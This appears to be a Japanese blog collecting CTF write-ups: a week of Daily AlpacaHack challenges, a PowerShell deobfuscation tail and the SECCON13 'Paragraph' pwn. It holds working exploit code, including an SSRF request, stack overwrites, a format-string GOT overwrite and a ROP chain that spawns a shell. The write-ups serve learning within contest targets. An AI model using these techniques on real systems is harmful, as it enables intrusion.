ここで2.ps1を見ると、フラグ片と、Base64エンコードされている部分があります。デコードするとまた難読化された文字列なので、適当にファイルに張り付けて、またsolver.pyで難読化解除します。

末尾

IF (& ("IEX") ("iex ("(`$BUf).ComparETo(("TSGLIVE{1nv0k3_3xpr35510"[CHaR"+(powershell.exe -executionpolicy bypass -enc 略略略base64略略略)+"+"0r_p0w3r5h3ll_0bfu5ca710n}"))")")) {& ("ieX") ("wriTe-OUtpUt ("Wrong...")")} ElSE {& ("ieX") ("WrItE-ouTput ("Correct!!!")")}

何回かやると以下のように[char]の部分が破損?しているとこがあるので直してまた同様にやります。

最終的にBase64のとこは以下のようになりました。

iex (iex (""echo "n_15_an_1mp0r7an7_f3a7ur3_f"""))

あとはフラグ片をつなぎ合わせるとフラグができます。

TSGLIVE{1nv0k3_3xpr35510n_15_an_1mp0r7an7_f3a7ur3_f0r_p0w3r5h3ll_0bfu5ca710n}

終わり

1 週間分の Writeup をまとめて書くの大変や。

もう火曜だし。。

1 週間まとめて書いてる方、私以外にいるんですか?いなければ例の機能は私専用機能ということでいいな!?(いいえ

adventar.org

Daily AlpacaHack 1週間目Writeup 12/01~12/07

Daily AlpacaHack

Daily AlpacaHackという毎日CTFを解ける初心者向けの常設CTF。

alpacahack.com

人におすすめしやすいですね。 CTFのリハビリと脳の体操に毎日やっていきたいです。 説明の通り気軽に参加できて楽しいです。

難易度Hardとあるものもあり身構えてましたが、気軽に解ける難易度で私でも続けられそうです。

この記事はnittc procon Advent Calendar 2025の記事です。ほかの方の記事もぜひ読んでください!(登録してる人のほとんどがOBですが。

nittc procon Advent Calendar 2025 - Adventar

現役生の皆さんもやりましょう!

12/01 [Misc, Welcome] AlpacaHack 2100

AlpacaHack 2100

🦙 < フラグは Daily AlpacaHack の 2100年1月 のカレンダーにあるパカ

Misc, Welcome

alpacahack.com

カレンダーがあります。次の月へ行くと以下のようなパラメータがつきました。

https://alpacahack.com/daily?month=2026-01

これを2100-01としてアクセスするとフラグがありました。

https://alpacahack.com/daily?month=2100-01

Alpaca{brought_AGI_to_humanity..._yes,_Alpaca_Gentle_Intelligence.}

12/02 [Crypto, Easy] a fact of CTF

a fact of CTF

AlpacaHack で一番最初に完成したものの難易度調整により出題されなかった幻の問題 (運営コメント)

Crypto, Easy

alpacahack.com

import os


flag = os.environ.get("FLAG", "not_a_flag")

# all prime numbers less than 300
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293]
assert len(flag) <= len(primes)

ct = 1
for i, c in enumerate(flag):
    ct *= primes[i] ** (ord(c))

print(hex(ct))

素数を累乗して掛け合わせています。 それぞれの素数が何回かけられているかを数えればそれぞれの素数に対応した文字がわかります。

import os
from Crypto.Util.number import *
import string


# all prime numbers less than 300
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293]
crypto=0xadb88e47d531cdb104013d7aa8a21e6f5bfb841d2ff5d5090d735f9a1d9f6bb2dc0ad6d19efca47ec943e5a8b685f295be56d3531fcb49e41d5d02dd6113e3fcd369a5c25098b38e540fc865e2f1078292efc89778b5f29e74b188c87afcdeb9f4c58d77d1314271646bc1043c63e62b76396f1349b914a0d489df9c211c6e551969694c1a930f8e04379a589869c4a838d0db71168f61b8ff38c6107fca44d2b5064ed42a4b8bbd774025f43907275317679daa0fb58e4127eac72eedb6be263fc0897f6d791eb3b301321b1e0ed37234b92249fe164f5b1a85981e7b52d65e50315520bfcf9c45f86e6d9c899e7aaefa936fa1a7f14dbb9bc9d9615dc9d97e7aecf162549866488b99d6903586f0cbdabfa0de664e66b8e36dadc2fec12d09a6ac3d33b6cdd8aaeccf58f7a3abbc2bcce34652f08617b33583568a1c5335a13d1530c69284d13df513314aa5b12db052529faf61461107d088008658730bce9af8ac9a9b262df3f1e9c84334f3616e9ed9d6598c4a70e9894b47ad73b415713371a5ced21f2853e02f0cce55969ff3101fb9da00c6f48932fa8696ee474bee89d462e08038566ea125f56733f029f40d13ea98a92ddbfcd7b0c900e8b1c7bc65124ae620279e7ae00fb8ef65f835665e344d570325330f90c85326571fd96ba2883fc7b2b6615f35d555948acf3c0ae684a0af323011d209dd8374649dec9bbdaa0ab7068af63fdaacbc5177fd75b457e91fec461a33a0fcb55754d655f2fb9e198d81df64009e9e1e34bddb349955d0792d9717161ba4538b564d85fb6630e2acb4bc95130f6c9d31d6f53aeaecd4c023c50df0b8e2e50c84db4051261abaf38f7020b2964ba6ad05932e22428ae773e78dc83014e674261859b65bd7c9d4b328dd9abbae1067f735006d4400f8c595ee01904fcbdf54c34f983826c24876877f76b9ee14327ddb6b7a7a2625a65a92c2ea757f42d0a3a6fb824d00c9ad4fb4cb2b2c77b0d66b89fc4846b5448df3bfa8977a8e42e9ea4ec5948264f0cd8efeec387c0344b56017657679605b1d0bc32fb1742b1cb8f2426e35e1e673c6af6ae5f3d3bda56b4de192f994f3aef809ae92dda1ab20aef0a948c9bdfecb896727856a0d8a0d9af81661ba53c7927223b2389a168c8adc04f1e7a07499d308bf9cdbe55220a5fa392879d644f3c25949c7d4d6aee482525ad22c3bde07e16fcc1788362bf365c0e12db42e0ad2ce29d666bed43f24dadfec45008b6c1dd96649c2afbbd392e635b5185fe5c8f9374eb6c7418cd5c4400a8025eb989e1ca66943e02e7d54b2744c51e17de2a919972c7deac0735501ce812b9453e2e14d22ec1dd2e87af06d47e8118c27a6357e006d774f053f977619347b62c6f01bf810369924295c4e097a6e8586eef1e310e787d870b0c4bee2e0d0a63b1dde4ef656213788dad7214e61d76c5b850c13836fc35ce85840ca5c450459753295ed628af60fb102c26208ac7bd09f5b02f9b4800eb486e41e4bfe780e02993a3259a5e310b404069bc15d2230b26a7f5e3d53df96ece4d51086444cb5bd24fb507f31869b248facccff49d5cf43643013f144af758c41405a02fd70564bea480b3a157059c1fab45e89bfd7caf543e2605d0d7e06ddb343cf2d03377355a12d818b430b8614687834a37bb0442197d9803fdab84129c864708031959b99abebbe013c221f5397d25750a9b8fd7d004a017646f0792c87ade48e6138bd554fdb2df57b980bdb073c805f99754affbcca377a37c9383c68add373c879ab309efc144234a1b55b44012bc5fad42e2b9c7ca13421cffb68b3dbfe6d5b6d009e02ae27bd45203c1db0bf250c22ffbc689f21b8b503ca5091465ef28295e307084cffb00f3af88bb0ffecaaa10496c866aceedd97059731b6defc3501b399ad7b8ff57f66872ad49573df06aeffe097ae904914d78991ba6008de217fb7f766044ab7a1fd79878f87df9fb3ad74024bfadc4a3a781216b141e2ac6c34ce76f0cf60a33a0c44a9a31770c279e7b11b87380de18406b5cd7c4892cb49ff5a8ef07c95a4c669eff91f424308342f68bb558c240c8a66393a561d659ada61b0fd595a155bca28054b13fe3aef57ba3fff5a39c92c0f4b8c5e3f8ef8aaa27aef70c1a065d10c107f2354f117b7f00db658326e07b8c3c6c833a3742a98a99e40ec978b71c656612da7c232575685e0f00c4fa51c0f13d064798b82db23a192bb6b8db0319fc3924929b350fbef650395d408df85e6fc5b63294ea8f36f98473f5a4b273e1a0a4b9545512547e8aabe1381989b6e241d47fd121f51478829a6557ab83bfa3579940c2d08201b24b09d209928f3914672ae60d1be1aa1dd20d7908d68da91c49523109a64bc553b4d89aa704f1628c9cca45b2ad157a874eb3afbd7d5e34bc958bf46bd455b2899a3033743af16d467eda2fd0c9b7f8892a82a8763c41c1fb112f2ecad17ae30da44db3d8f8a9a61510354fc5e072fe12b556f98edb933c9319e232451fa422d7cfed27af993fdd40913c6ddbfe9a89f1ae37c7ee8c2b058870daa04127f56ad5acafdb6accfd9fe66b49d653a39ccecf3dbade95b7eea178fdc82a7e6e5e3f118c9b800f96ab85a9109379dbf56a84ffe6fad6fc3bda0bc9968e231d34aacd5bb8c7f72630ca9cba7d7764c8abe5aa545cf9975dc163302ceee56865e4306accc9011e80134378f131fb6255c8af6d2d94d5f3e73b3c0cd2c6a86fd97e016641ea05bb61f97d701e413ecc376c07395fa5b7d615c6a32cc3fd3cad5669c925bedacf102f1f611f82a157a7362c01c095432c13e75707605e07d39d6caaa1693b06e266fbeb29be640125361071fa98c6e9c236c12ca5d0c88ad45ab8e2d6d2962ea454c30572d6347b13670d4ee9f75e1c17a71edd79fbd0c58ff3ba2eec6a5cd017187fb85cb396490012155ec40a2f002a38dca1396affafd43b6fa28f54e42eaef83982f4050b8c70b6091e07a08ac8d5b74bd7cd2fc86014e174e8d1f53cfd9277858ed4e16833daf3fb4902b8b782d7bab0cdabcfa6c0d922baf5cefa7bc110434a474d9de2c3312ddd7cf457a837cd762d2f3444054ff7389d81bc52a6bdb9731bd34a77f48bc8fc383f1bdd46ef5666df0d2f41ba359c8168ae5bd0d5ec36a85b9ec5a1469af81ef4f5254fb4b0e7d31c64ea4fc9975f157872b7f178d792877be60a014622a7594746017fea2e8c50926a36c0294249cd2d1b3ffb060eaa8050b906f4adb6acbf8446e9b22256d3e32dc63dbde922f0296b66d57c32f4d8ad5382d3159f787e4474f48a5d1033ba4760b9f74b66751efc7375b48c55ab3817458ca71ac52b8360da2f512f247e4b99fea2a43f423fcd76bfb9e64a2a0fcd69a3876c517ecaab5a4efffa8e957ba647eea810953e1554345872488a7b7b60735689c20e3ac9d5345c935bfaf80c3a6fafd1cd551457e3f8c4caa24568443b5afd0bd6eeda07938838bcb946460c9e882b3af29ca787b7a0b03ac3318cd720f7b08169096aee70c26bb59f3fcb39fef1d02140f43c4e6ba06e8eaf87f20685962fbbf1609216be320168e05b3ea734687779e8453ee4b44e793ccce8a541ec26781d980a58ec6625f194b7485bfd980f61ddcdc18626cc60b7754951520256f1676a35b64ee4d3f46c8a992fd824a425019b90c5ceb90c5feec0d3ba970f46cb5736f8e2673fabc8b40ea71730ca6e7dc45efff9126528f3e8c976ae1c1c2a9ed1f09fc848e986a8e2a771865424a16f8f3f8fd86e5c9c7bec7f7f698ddcd45b33f7b82b2973b075e46b07d415f50a845eb214d49f975b03c471fa4f8bd3c73261c4037eed7815f388c4e454737cff44fa12d358336ad5f0f8df8da4ba572a0e71012bcb776c41ea29bbab45c2645c880d4108f1de20a867464513414d5aeab3621a2cc08ce9370a2d64a0dbc0aff5f0722cdabfc3d90dfc2ac63b65f4a6e9111ae0595b1c03e7d55d16449d6f8b1ae6328cd3b29189ed9eb34ad5b1541f8596f302d0254c32ee04a555d1ba9567c47fafdfdb05b98783e04d2052d4594f8c7549b048c11477229228e3be8cdb214218e9069a2f21ed370b12df6708357db5b3e8dbf1895ea167c77ec4b6beb93fa7d6fb61737b61beffadf5f3b533be8730caec2ef1fe47bbee3d204ae007bd2c0b7a1c1784a71e0d85d6317111079a5d4e74c62304f6c91ba32b8e5f62ac68811cc0d67d9707173129c5ce874d6d52c1178b6eb86a739df6c27020ebb489224f1d5ca08ada416f5dad9f224a795b475ceca4fedceef605e96c5cb939ec6c361463bc86bdfc6c5c5f24b42888b59e229082b024f78eb28b9190beb46a2802dfef1f9019511118cd8dd338b1e3ac04235cb6a31afb49b27fee71da3a387a1904acd74799ce5211e3c2c43b66ad6a050b70b28a2dac3294abc1d53cb9df334546ef70f7aa29e93a0902fd23b0a554570e0271a49b8c548b5cf846c04f80dd922749b53f4f0db901e4c97c1209236adf891e184564a6b94f3da00e2fb548fb581c204eec117f8381a735f2fcecfd69c31d15342b053d5681fc97644c51e604f99299c7679727b25f73d863f83e0bc2288255af7c0720bd3b0f1820e60895a0d37f60ee05b928f7311f97434dd527fc2f4a33c8d0f4e4e3f7e160afa1a2731c522eef280702dd4eba358370cd6c9386c196d351f2ef8935045efb196d6b6a11e42209f0a4b64f4aea7b830ee131bd46d33d36f42dcfe833e5fddf59ea417c5ddb8a80c50957e3eec9177277483d1231d0e5f40aea3bfa9eec670bf19a72e0b96a3f9be8a8c63cca7960c374d2196881aafef24d32b2d582bd562dfd8d1996f1e7f73e412e3690ae5a492e11d173f04ba9e68d8d9cfaaf322eec828f95be3fe7e4c8dfc156993edb40321d40fb59cba71775581b2186fdd0271c04d85373e1022be81e21998a360bc1ba46dfd69bfb4dbedf43f9688483cab2002de982ec8e9ced314aac88b37694fcb63a41b7f245425c0455c146dfad31cd56174e92fcc6eb7e0000000000000000

m=""
x = crypto
for p in primes:
    k = 0
    while x % p == 0:
        x //= p
        k += 1
    m += chr(k)
print(m)
Alpaca{prime_factorization_solves_everything}

最初、p^ord(printable[i]) i=-1から割ってあまりが0になるまでiを下げて探そうとしてましたが、p^ord(printable[i]) が大きくなりすぎて計算できず詰んでました。(説明が下手)

12/03 [Web, Medium] Emojify

Emojify

:pizza: -> 🍕

Web, Medium

alpacahack.com

文字列から絵文字を出してくれるWebアプリです。

docker-compose.yamlをみるとsecretというサービスがあります。

services:
  frontend:
    build:
      dockerfile: ../Dockerfile
      context: ./frontend
    restart: unless-stopped
    init: true
    ports:
      - ${PORT:-3000}:3000
  backend:
    build:
      dockerfile: ../Dockerfile
      context: ./backend
    restart: unless-stopped
    init: true
  secret:
    build:
      dockerfile: ../Dockerfile
      context: ./secret
    restart: unless-stopped
    init: true
    environment:
      - FLAG=Alpaca{REDACTED}

secretのindex.js

import express from "express";

const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}";

express()
  // http://secret:1337/flag
  .get("/flag", (req, res) => res.send(FLAG))
  .listen(1337);

なのでここにアクセスできればFlagが得られます。 しかし先ほどのdocker-compose.yaml見るとわかる通り外部には公開されていないので直接は無理です。 しかし特にネットワークが分けられていないので公開されているFrontからアクセスすることはできます。

frontのindex.js

import express from "express";
import fs from "node:fs";

const waf = (path) => {
  if (typeof path !== "string") throw new Error("Invalid types");
  if (!path.startsWith("/")) throw new Error("Invalid 1");
  if (!path.includes("emoji")) throw new Error("Invalid 2");
  return path;
};

express()
  .get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html")))
  .get("/api", async (req, res) => {
    try {
      const path = waf(req.query.path);
      const url = new URL(path, "http://backend:3000");
      const emoji = await fetch(url).then((r) => r.text());
      res.send(emoji);
    } catch (err) {
      res.send(err.message);
    }
  })
  .listen(3000);

明らかに怪しいwafでバリデーションされているここら辺が怪しいです。

      const path = waf(req.query.path);
      const url = new URL(path, "http://backend:3000");

URLコンストラクタについて調べると

developer.mozilla.org

new URL("//foo.com", "https://example.com");
// => 'https://foo.com/' (see relative URLs)

やばそうなのがあります。

pathはこのwafでしかバリデーションされてないので、wafのバリデーションを回避しつつ以上のようなことをすれば解けそうです。 "emoji"という文字列は含んでいればいいだけなので、/api/?path=//secret:1337/flag?emojiとかすればよさそうです。

~/alpaca/web/emojify
❯ curl 'http://34.170[.]146.252:31211/api/?path=//secret:1337/flag?emoji'
Alpaca{Sup3r_Speci4l_Rar3_Flag}

いけました。

Alpaca{Sup3r_Speci4l_Rar3_Flag}

12/04 [Rev, Easy] Leaked Flag Checker

Leaked Flag Checker

みんなだいすきフラグチェッカー

Rev, Easy

alpacahack.com

challenge.cとその実行ファイルが配布されます。

// gcc -o challenge challenge.c
#include <stdio.h>
#include <string.h>

int main(void) {
    char input[32];
    const char xor_flag[] = "REDACTED";
    size_t flag_len = strlen(xor_flag);

    printf("Enter flag: ");
    fflush(stdout);
    scanf("%31s", input);

    if(strlen(input) != flag_len) {
        printf("Wrong length\n");
        return 1;
    }
    for(size_t i = 0; i < flag_len; i++) {
        if((input[i] ^ 7) != xor_flag[i]) {
            printf("Wrong at index %zu\n", i);
            return 1;
        }
    }
    printf("Correct\n");
    return 0;
}

スタック上に置かれるxor_flagと7をxorすればflagが出てきそうです。

objdump -M intel -d challenge   

以上のコマンドでディスアセンブルしてみましょう。するとmainのとこに以下のような処理があります。

    1204:       48 b8 46 6b 77 66 64    movabs rax,0x6b7c666466776b46
    120b:       66 7c 6b 
    120e:       48 89 45 c2             mov    QWORD PTR [rbp-0x3e],rax
    1212:       48 b8 7c 6b 72 64 6c    movabs rax,0x7a7e6c64726b7c
    1219:       7e 7a 00 
    121c:       48 89 45 c8             mov    QWORD PTR [rbp-0x38],rax

何らかの定数をスタックに置いています。これがxor_flagだと思われますのでこれで適当にsolverを書きます。

from Crypto.Util.number import long_to_bytes, bytes_to_long

a = long_to_bytes(0x6B7C666466776B46)
b = long_to_bytes(0x7A7E6C64726B7C)

ab = a + b

for b in ab:
    print(chr(b ^ 7), end="")
~/alpaca/rev/leaked-flag-checker
.venv ❯ python solver.py
l{acaplA}ykcul{

よくわからない文字列が出てきましたが、エンディアンの問題でしょう。推測するにAlpaca{lucky}なのでこれで提出したらいけました。

Alpaca{lucky}

12/05 [Pwn, Hard] Integer Writer

AlpacaHack 2100

うっかり戻りアドレス書き換えられたらシェル起動できちゃうって冷静に考えてやばくね?気をつけなきゃ...

Pwn, Hard

alpacahack.com

// gcc -o chal main.c -fno-pie -no-pie
#include <stdio.h>
#include <string.h>
#include <unistd.h>


/*
** How to get the address of `win` **

  $ nm chal | grep win
  XXXXXXXXX

This address is **fixed** across executions, because the challenge binary
`chal` is compiled with -fno-pie (i.e., without position-independent code).
*/
void win() {
    execve("/bin/sh", NULL, NULL);
}

int main(void) {
    int integers[100], pos;

    /* disable stdio buffering */
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("pos > ");
    scanf("%d", &pos);
    if (pos >= 100) {
        puts("You're a hacker!");
        return 1;
    }
    printf("val > ");
    scanf("%d", &integers[pos]);

    return 0;
}

win関数を呼び出せれば勝ちです。

みるとpos >= 100でマイナスに行けそうです。integersはintの配列なのでどこかの4bytes編集できます。

スタックにある配列のマイナスに行けるということは、今のスタック(rspがさす場所)の上に行けるってことです。(説明が下手(上と言っているのは、小さくなるほうにスタックが伸びていくからです。(説明が下手

gdbで見てみましょう。(pwndbgを使ってます)

scanf("%d", &integers[pos]);のあとで今のスタックの上側を見ると、mainへのアドレスがあります。

これは何かというと、scanf("%d", &integers[pos]);return addressです。return addressというのは関数が呼び出されるときに元居た場所に戻れるように保存されるアドレスです。関数の中でreturnしたときにこれが使われます。これはスタックに保存されます。

scanf("%d", &integers[pos]);の引数を見るとintegers0x7fffffffcf64にあるとわかります。

scanf("%d", &integers[pos]);return addressintegersの上(アドレスが小さいほう)の0x7fffffffcf48にあります。

これをこのscanf("%d", &integers[pos]);のなかで書きかえれば、returnするときに書き換えられたアドレスに行ってしまいます。これをwin関数のアドレスにすれば勝ちです。 自分で自分を書き換えてるみたいで面白いですね。(?

solver.py

from pwn import *

binary_name = "./chal"
remote_name = ""
remote_port = 51272
libc_name = "libc.so.6"

context.terminal = ["tmux", "splitw", "-h"]

REMOTE = 0
LOCAL = 1
DEBUG = 2


def conn(exploit_target=0):
    if exploit_target == 0:
        return remote(remote_name, remote_port)

    if exploit_target == 1:
        return process(binary_name)

    if exploit_target == 2:
        return gdb.debug(
            binary_name,
            """
        b main
        c
        """,
        )

    return remote(remote_name, remote_port)


io = conn(exploit_target=LOCAL )

elf = ELF(binary_name)

payload = str(-0x18 // 4).encode()
print(payload)

io.sendlineafter(b"pos >", payload)


payload = str(elf.symbols.win).encode()

io.sendlineafter(b"val >", payload)

io.interactive()

win関数が呼ばれシェルが取れフラグが取れました。

Alpaca{D0_y0u_th1nk_th3_st4ck_gr0ws_upw4rd_0r_d0wnw4rd?}

12/06 [Pwn, Easy] simpleoverflow

simpleoverflow

Cでは、0がFalse、それ以外がTrueとして扱われます。

Pwn, Easy

alpacahack.com

土曜と日曜日は、過去のCTFの過去問らしいです。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

buf[10]なのでbufのためには10bytesしかスタックに確保されていません。しかし read(0, buf, 0x10);で0x10=16bytesも読み込んでしまっています。とりあえず16文字くらい入力してみましょう。

するとフラグがもらえました。これはbufからあふれた文字がis_adminを上書きしてしまうからです。

ディスアセンブルしてみるとわかるのですが、buf[10] の下にis_adminがあります。(cmp DWORD PTR [rbp-0x4],0x0で使われてるrbp-0x4is_adminがある。bufはその上のrbp-0xeにある。配列は上から下(アドレスが小さいほうから大きいほう)へと伸びていくためあふれるとis_admin`を上書きしてしまう。)

objdump -M intel -d chall

ctf4b{0n_y0ur_m4rk}

12/07 [Crypto, Medium] size limit

AlpacaHack 2100

復号鍵も渡したんだし、これで誰でもメッセージを読めるよね!

Crypto, Medium

alpacahack.com

problem.py

#!/usr/bin/python3

from Crypto.Util.number import getPrime, bytes_to_long
import flag 

assert(len(flag.flag) == 131)

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) * (q - 1)
e = 0x10001
d = pow(e, -1, phi)

flag = bytes_to_long(flag.flag)


c = pow(flag, e, N)

print(f'N = {N}')
print(f'e = {e}')
print(f'c = {c}')
print(f'd = {d}')

output.txt

N = 65667982563395257456152578363358687414628050739860770903063206052667362178166666380390723634587933595241827767873104710537142458025201334420236653463444534018710274020834864080096247524541536313609304410859158429347482458882414275205742819080566766561312731091051276328620677195262137013588957713118640118673
e = 65537
c = 58443816925218320329602359198394095572237417576497896076618137604965419783093911328796166409276903249508047338019341719597113848471431947372873538253571717690982768328452282012361099369599755904288363602972252305949989677897650696581947849811037791349546750246816657184156675665729104603485387966759433211643
d = 14647215605104168233120807948419630020096019740227424951721591560155202409637919482865428659999792686501442518131270040719470657054982576354654918600616933355973824403026082055356501271036719280033851192012142309772828216012662939598631302504166489383155079998940570839539052860822636744356963005556392864865

普通にdが渡されているのでpow(c, d, N)で行けるかなと思ったのですが、なんか無理でした。 どうやら問題名の通り平文がassert(len(flag.flag) == 131)とNより大きいためにちゃんと復号できてないようです。(というか暗号化がうまくできてない?)

まあmod Nなので、Nを足していけば元に戻るんじゃないかと思ったのでやったらできました。

from Crypto.Util.number import long_to_bytes


N = 65667982563395257456152578363358687414628050739860770903063206052667362178166666380390723634587933595241827767873104710537142458025201334420236653463444534018710274020834864080096247524541536313609304410859158429347482458882414275205742819080566766561312731091051276328620677195262137013588957713118640118673
e = 65537
c = 58443816925218320329602359198394095572237417576497896076618137604965419783093911328796166409276903249508047338019341719597113848471431947372873538253571717690982768328452282012361099369599755904288363602972252305949989677897650696581947849811037791349546750246816657184156675665729104603485387966759433211643
d = 14647215605104168233120807948419630020096019740227424951721591560155202409637919482865428659999792686501442518131270040719470657054982576354654918600616933355973824403026082055356501271036719280033851192012142309772828216012662939598631302504166489383155079998940570839539052860822636744356963005556392864865

m = pow(c, d, N)

while True:
    m += N
    b = long_to_bytes(m)
    if b"TSGLIVE{" in b:
        print(b)
        break

b'TSGLIVE{Tttthhhhhiiiiiiisssss iiiiiiiiiisssss aaaaaaaaaaaaaa tooooooooooooooooooooo looooooooooooooooong fllllaaaaaaaaaaaaaaaaaag!}'

終わり

1週間分のWriteupをまとめて書きました。これ毎日書いたほうがいいね。そのほうが需要高いし、一週間後だと忘れててかくのめんどくさいし、量多いし。かといって毎日かきたくはないよ

何はともあれDailyAkariやWordleなどに加えてルーティンが増えそうでうれしいね。

この記事はnittc procon Advent Calendar 2025の記事です。ほかの方の記事もぜひ読んでください!

adventar.org

SECCON13 Quals pwnとcryptoのwarmup

一人で参加しました.pwnとcryptoのwarmupだけ解けました.warmupは全部解きたかったけど全然だめだった.かなしいね

たのしかったです!

Paragraph (pwn)

#include <stdio.h>

int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

  return 0;
}
[*] '/home/trimscash/seccon24/pwn/Paragraph/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

見ると書式文字列攻撃ができることがわかります. しかし入力できる文字が23文字と小さめでどこをどうやって書き換えればいいのか一見わかりません.

ここでgotを見てみましょう. まずlibcとリンカを取ってきて本番環境に揃えます.

❯ docker compose  up -d
❯ docker cp paragraph-paragraph_dist-1:/srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./ 
❯ docker cp paragraph-paragraph_dist-1:/srv/lib/x86_64-linux-gnu/libc.so.6 ./          
❯ patchelf --set-rpath ./ chall
❯ patchelf --set-interpreter ./ld-linux-x86-64.so.2 chall

paragraph-paragraph_dist-1の部分は立ち上げたコンテナ名にしてください.Dockerfileを見ればわかるように/srv以下のlibcであることに注意しましょう.

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/trimscash/seccon24/pwn/Paragrapha/chall:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e32bd0 (puts) ◂— endbr64 
[0x404020] setbuf@GLIBC_2.2.5 -> 0x7ffff7e3a740 (setbuf) ◂— endbr64 
[0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e0b0f0 (printf) ◂— endbr64 
[0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64 

gotを見てみるとわかるように,__isoc99_scanfprintfのアドレスの差分が2byteしかないです.1nibble分はaslrでランダムになりますが,1/16で突破できます.

さらにmainを見てみると書式文字列攻撃できるprintfの後, 以下のようにちょうどいい感じで引数を与えられた呼び出しがあります.

  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

printfのgotを書式文字列攻撃でscanfのアドレスに改ざんし,そのあとの呼び出しでropを作れば行けそうです.

以下,本番中に書いた汚いsolver

from pwn import *

binary_name = "./chall"
remote_name = "paragraph.seccon.games"
remote_port = 5000
libc_name = "libc.so.6"

while True:
    io = remote(remote_name, remote_port)
    # io = process(binary_name)
    # io = gdb.debug(binary_name, "b main\nc\n")

    elf = ELF(binary_name)
    libc = ELF(libc_name)

    printf_got = elf.got["printf"]
    scanf_got = elf.got["__isoc99_scanf"]

    # [0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e32bd0 (puts) ◂— endbr64
    # [0x404020] setbuf@GLIBC_2.2.5 -> 0x7ffff7e3a740 (setbuf) ◂— endbr64
    # [0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e0b0f0 (printf) ◂— endbr64
    # [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64

    scanf_bytes = 0xAE00
    payload = f"%8${scanf_bytes}s%8$hn".encode()

    if len(payload) % 8 != 0:
        payload += b"#" * (((len(payload) // 8) + 1) * 8 - len(payload))

    payload += p64(printf_got)[:-1]

    assert len(payload) == 23

    io.sendlineafter(b"asked.", payload)

    printf_addr = io.recvuntil(b"#")[-7:-1] + b"\x00\x00"
    printf_addr = u64(printf_addr)

    libc_base = printf_addr - libc.symbols["printf"]

    # [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64
    target_libc_addr = 0x7FFFF7E0AE00 - libc.symbols["__isoc99_scanf"]
    if libc_base % 0x10000 == target_libc_addr % 0x10000:
        print("Successfully overrided printf")
    else:
        print("Failed to override printf")
        io.close()
        continue

    # gdb.attach(io, "b *main+112\n\n")
    pop_rdi = 0x1AE710 + libc_base  # 0x1ae710: pop rdi ; ret ; (1 found)
    system_addr = libc_base + libc.symbols["system"]
    sh_addr = libc_base + next(libc.search(b"sh\00"))
    ret = 0x40121D

    payload = b"a" * 40
    payload += p64(ret)
    payload += p64(pop_rdi)
    payload += p64(sh_addr)
    payload += p64(system_addr)

    io.sendlineafter(
        b"(@@",
        b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
        + payload
        + b"warmly.\n",
    )
    io.sendline(b"a")

    io.interactive()
    exit()

以下のようにしてやれば,libcのアドレスを取りながらgotの上書きもできます.

    payload = f"%8${scanf_bytes}s%8$hn".encode()

    if len(payload) % 8 != 0:
        payload += b"#" * (((len(payload) // 8) + 1) * 8 - len(payload))

    payload += p64(printf_got)[:-1]

    assert len(payload) == 23

    io.sendlineafter(b"asked.", payload)

    printf_addr = io.recvuntil(b"#")[-7:-1] + b"\x00\x00"
    printf_addr = u64(printf_addr)

    libc_base = printf_addr - libc.symbols["printf"]

またここで23文字でassertしているのは,ここでバッファが消費されきれないと次の入力ができないからです.

あとはASLRの1nibbleの1/16ガチャは以下のように判定しループを回しています.適当に選んだ1nibbleとlibcのベースが一致するまでやり直しています.

    # [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64
    target_libc_addr = 0x7FFFF7E0AE00 - libc.symbols["__isoc99_scanf"]
    if libc_base % 0x10000 == target_libc_addr % 0x10000:
        print("Successfully overrided printf")
    else:
        print("Failed to override printf")
        io.close()
        continue

あとはROPです.

実行するとシェルが取れました.

SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}

